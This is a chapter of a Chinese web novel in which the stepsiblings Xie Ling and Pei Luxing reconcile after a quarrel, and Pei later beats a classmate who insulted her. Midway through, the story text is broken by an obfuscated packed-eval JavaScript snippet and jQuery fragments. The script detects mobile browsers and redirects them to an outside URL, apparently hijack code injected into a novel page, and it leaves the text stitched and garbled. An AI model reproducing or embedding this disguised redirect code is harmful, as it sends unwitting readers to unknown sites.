滴滴——
密码正确。
大门打开又关上,屋内一片安静,谢灵低下身换鞋,背着书包上楼,回到自己房间,合上门,像平常一样放下书包,开始换校服。
衬衣和短裙全部脱下来,然后套上柔软的睡裙。
她转过身,打开书包,把里面的运动服拿出来放进脏衣篓。
拆掉扎了一天的发圈,尚有弧度的卷发披散下来。
所有过程就和平常一样,没有任何区别。
再正常不过。
她走到窗台边,将窗户打开,夏日的风是燥热的,吹在脸上,是热烘烘的。
四周格外安静,甚至能听见隐约的鸟语虫鸣。
然后她慢慢蹲了下来,蜷缩成一团,垂着头,视线放空地望着窗外的风景,像只被遗落的流浪小狗,无人问津。
晚饭时,阮黎在饭桌上问道:“是不是快要放暑假啦?千语打电话说今年暑假过来找你们玩呢。”
谢灵不知是没听到还是什么,低头吃饭,没反应。
裴陆行扯着唇角,淡淡嘲讽一句,“是找我们玩还是躲她爸妈唠叨?”
“……”
这小兔崽子说话怎么这么难听呢。
阮黎睨他一眼,“不说话没人当你是哑巴。”
“哦,不好意思,”裴陆行直起身,将椅子抽回桌下,“不知道家里不让说实话。”
“……”
阮黎心累地说:“吃完了就赶紧滚吧。”
裴陆行滚得很干脆。
走之前,目光不经意地回头扫了一眼。
谢灵还坐在座位上,眼睫垂着,似乎有点走神,不知道在想什么,一直没说话。
很难得的,她没提前走,还陪阮黎和裴淮川坐了一会儿。
直到裴淮川吃完饭,用目光和阮黎对视一眼。
两人也不知道交流了些什么,最后阮黎起身给谢灵又倒了一杯热牛奶,问:“小灵今天没胃口吗?还是谁惹你不开心了?”
“没有。”
谢灵抱着牛奶杯,慢慢抿了一口,说:“阮姨,我回房间了。”
阮黎有些忧心地看了她一眼,没再说什么。
等人走后,阮黎和裴淮川互相对视一眼,叹了口气。
最让人忧心的事情还是发生了,小孩长大了,有自己的心事了,不愿意跟大人讲了。
这还不是最糟糕的。
最糟糕的是,他们不是她的亲生父母,哪怕看上去再亲近,因为不是亲的,打不得骂不得凶不得,因为没那层血亲在,一旦产生隔阂,可能就再也消解不了了,永远做不到血亲的肆无忌惮,于是就变成了这不伦不类的客套。
就连关心,也不敢太过头,怕说多了惹对方厌烦。
理论上来说是这样。
但是让裴陆行去讨这个嫌,那就没事。
阮黎收拾完残局,洗了盘水果,端上楼,意思意思敲了敲门。
房里传来回应,她才推开门,目光打量一下房间内,有点意外,“之前让你开窗通风,说了一万遍都不开,现在怎么又想起开窗了?”
裴陆行靠在床边打游戏,目光掠过她手里的果盘,仿佛已经猜到什么,众生平等地呛了一句,“没想起,谢灵开的,你看不顺眼可以说服她,让她再过来关上,以母亲大人的地位,应该不用送果盘就能做到。”
“……”
阮黎顿时失去了聊天的兴致。
放果盘的力气也大了点。
她不再绕弯子,直接说道:“既然知道,那你就去问问,看看是怎么回事,周末开始小灵就一副闷闷不乐的样子了,问了也不说,看看是不是学校里有人欺负她了。”
像是听见什么笑话,他扯着唇角嘲道:“谁敢欺负她?她像是那种让人欺负了自己生闷气的人吗?不都是谁欺负她,她就让对方从地球上消失吗?”
“那就是你。”
阮黎破案了。
“除了你,还有谁会惹她?”
裴陆行:“?”
阮黎把放下的果盘重新端了起来,“自己去哄小灵,哄不好你就从地球上消失。”
裴陆行:“……”
-
听见敲门声,谢灵关掉了吹风机,走过来开门。
门口,高大的身影笼罩着她,几乎占据了全部的视野。
谢灵收回视线,神色恹恹,“什么事?”
裴陆行目光下移,停在她半湿的发丝上,隐约有水珠顺着尾端滴落下来,洇湿了白色的睡裙。
他走了进来,拿起她放在桌上的吹风机,重新打开,声音融进了风声里,“过来。”
“……”
谢灵看了他几秒。
而后很慢地走过去,坐在椅子上,背对着他。
他一只手温柔地穿进发丝,另一只手拿着吹风机,隔着段距离给她吹头发。
谁也没有说话。
只有吹风机运作的声音在房间里回荡。
片刻后。
他关掉吹风机,卷好线,收好放进了抽屉里。
谢灵盘着腿,没动,也没有说话。
“为什么心情不好?”
他走过来,抬手揉了一下她的头发。
谢灵抬眸安静地看着他。
他也回望着。
忽然。
她侧过头,像只小狗一样,猛地咬上他摸她头的手。
不知是太了解她还是有所预料,裴陆行挑着眉,在她咬上来之前捏住了她的脸,制止这个乱咬人的小狗,“攻击不带前摇的?”
“……我讨厌你。”
被捏住了脸颊,她说的话有些含糊不清,但内容却格外清晰。
“……”
制止她的手顿了一下,不知怎么,力道忽地松了。
她终于如愿咬上他的手背,在上面留下一个深深的牙印。
即使这样,也并不解气,仍旧咬着不肯松口,她抬着眸一错不错地望着他。
眼底带着隐秘的连自己也没有察觉的倔强与委屈。
他垂眸看着她,没躲,任由她咬。
而后。
他忽地问:“让你咬回来了,也还讨厌吗?”
“讨厌。”
她说。
他沉默下来,某个瞬间,呼出的吐息有些明显。
又过了一会儿。
他视线透过她,看向别处,像是做了什么决定,声音很轻,“之前是哥被你气到了,一时冲动,以后不会了。”
“……”
谢灵没吭声。
裴陆行抬了下手,似乎是想摸她的头发,但悬在半空停了几秒,又收了回去。
“以后都不会了。”
他望着她,说:“你不想跟我一起放学,不喜欢我做那种事,哥都听你的,不会再越界……别讨厌,行不行?”
过了很久。
她偏过头,终于说了句,“……行。”
房门重新合上。
只剩下她自己。
夜色宁静,泠泠月光透过窗户洒进来,铺了一地清辉。
她慢慢抬起手,覆在眼睛上,挡住了屋内所有的光。
他保证下次不会了。
这是她想要的。
可为什么……?
明明如她所愿,回到从前,变回正常的样子了。
可是为什么……
为什么她会这样难过呢?
她不明白。
是什么时候开始的?
是哥哥变了,还是她变了?
为什么他越界,她不开心,他回到从前,她也不开心。
是她的问题吗?
她自己知道自己想要的是什么吗?
那哥哥呢?
哥哥知道吗?
……
接下来的几天,裴陆行都没有再来接她。
仿佛又变回了从前,除了不再一起放学。
裴陆行还跟以前一样,跟她说话的语气,对待她的方式,都没有变化。
就像是什么都没发生。
而谢灵……也当做什么也没有发生。
除了越来越安静以外。
就这样持续到了周五。
可能因为明天是周末,大家放学的积极性明显高多了,不到两分钟,走廊就已经彻底安静下来,只剩下要留下来做大扫除的同学。
谢灵已经知道裴陆行不会再来了,没再等,自己背上书包,穿过走廊,朝人少的那条楼梯去。
安静的走廊上,一点声音都尤为明显。
尤其是身后多了一道脚步声。
谢灵顿了一下,忽然停住了,却没有回头。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232339|164646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
脚步声越来越近。
直到在她身旁停下。
然后一道男声在耳边响起。
“谢灵同学。”
“……”
在辩认清那道声音的瞬间,她眼底里那隐约的光暗了下去。
安静了几秒,她才慢慢转过身,看向穿校服的男生。
“上次升旗仪式的检查,会长找我们聊了一下,这次过来是跟你道歉的,”徐溪舟看着她,唇边微微勾着,以一种十分认真的语气说道,“希望上次没给你添麻烦。”
谢灵眼睫垂着,神色很淡。
并没有应声。
徐溪舟的目光轻轻扫过她卷过的头发,而后是她的领结、手链、袖扣……一一而过,然后说道:“不过我们上次也是例行公事,谢灵同学,还是希望你规范一下自己的着装,免得下次检查真的扣分……”
谢灵眼睫抬了一下,打断了他的话,“规范我的着装?请问我的着装有哪一点需要规范?”
“哦,我没有别的意思,”徐溪舟朝她温和地笑了笑,语气像是真心为她着想般,“不过,佩戴这些饰品,作为高一的学生,嗯,开学就是高二了,我们最主要的不是学习吗?学校要求着装干净简单得体,像你这样……你不觉得有点影响到其他同学吗?”
“?”
谢灵问:“影响其他同学?”
“要我说得更明白些吗?”
徐溪舟用一种上下扫视的目光打量过她,然后微微一笑,说:“不知道你是刻意穿成这样想吸引男同学还是——”
话音未落。
砰地一声。
有什么东西猛地砸了过来,徐溪舟整个人被砸得趔趄了一下,还没来得及站稳,紧接着一道力抓住了他的衣领。
拳头接踵而至,毫不留情地落在他的脸上,瞬间有血点滴在了地上。
整个过程近乎一气呵成,没有半分犹豫。
谢灵完全没反应过来,更遑论徐溪舟,被这样接连打了好几下,才开始剧烈地挣扎起来。
然而对方体型高大,力气也大得惊人,徐溪舟挣扎着,却一拳都没躲开。
而后他也不再挣扎了,破罐子破摔地回敬对方,然而对方挨了几拳,却没有丝毫要躲的意思,手下用力到像是真的想就这样打死徐溪舟。
谢灵上一次直面这样的打架,还是小学的时候,第一时间近乎是茫然懵懂的。
隔了会儿。
她才像是反应过来,喊了一声,“哥……”
开口过后,她似乎也被这句称呼唤醒了,快步走过去,去握裴陆行的手臂,气声不稳地唤他,“哥哥,停下来,住手——”
裴陆行仿佛没听见一般,垂着眸,漆黑的眼底是成片的戾色,没有一点温度。
完全是失控后的神色,没有半点理智了。
如同某种进入狩猎状态的兽类。
“哥哥,哥……裴陆行!”
谢灵上去从后面抱住他,语气有些焦急,“看着我,裴陆行,看着我,冷静下来。”
“我在这里,我没事,裴陆行,你看着我。”
不知是熟悉的声音还是身后柔软的拥抱,他悬在半空的拳头慢慢顿住,紧绷的手臂也渐渐松懈。
“哥哥……”
她双手捧着他的脸,让他看向自己,声音轻了些,“没事的,哥哥,我没事,没有关系,你别生气,好不好?”
他漆黑的眼睛缓慢地看向她,仿佛某种无机质,渐渐注入了色彩。
察觉到他稳定了下来,谢灵才转头看向地上被打得满脸是血的人,说:“走啊。”
徐溪舟没说话,一牵扯哪哪儿都是疼的,他低头捂着鼻子将血止住,从地上爬起来,神色狼狈地走了。
谢灵转过来重新看向裴陆行,才注意到刚才打架的时候,徐溪舟胡乱挥出的几拳,也蹭到了他的额角和侧脸,留下了两道明显的痕迹。
她蹙着眉,指腹不自觉地抬起,很轻地碰了碰伤痕的边缘,问:“痛吗?”
他看着她的眼睛,忽然说:“谢灵,我想把你关起来。”
她怔愣了一下,问:“为什么?”
他轻轻拂过她额前的碎发,目光描摹着她,检查着,一点一点,仔细得过分。
而后。
他轻声说:“这样就没人能伤害你。”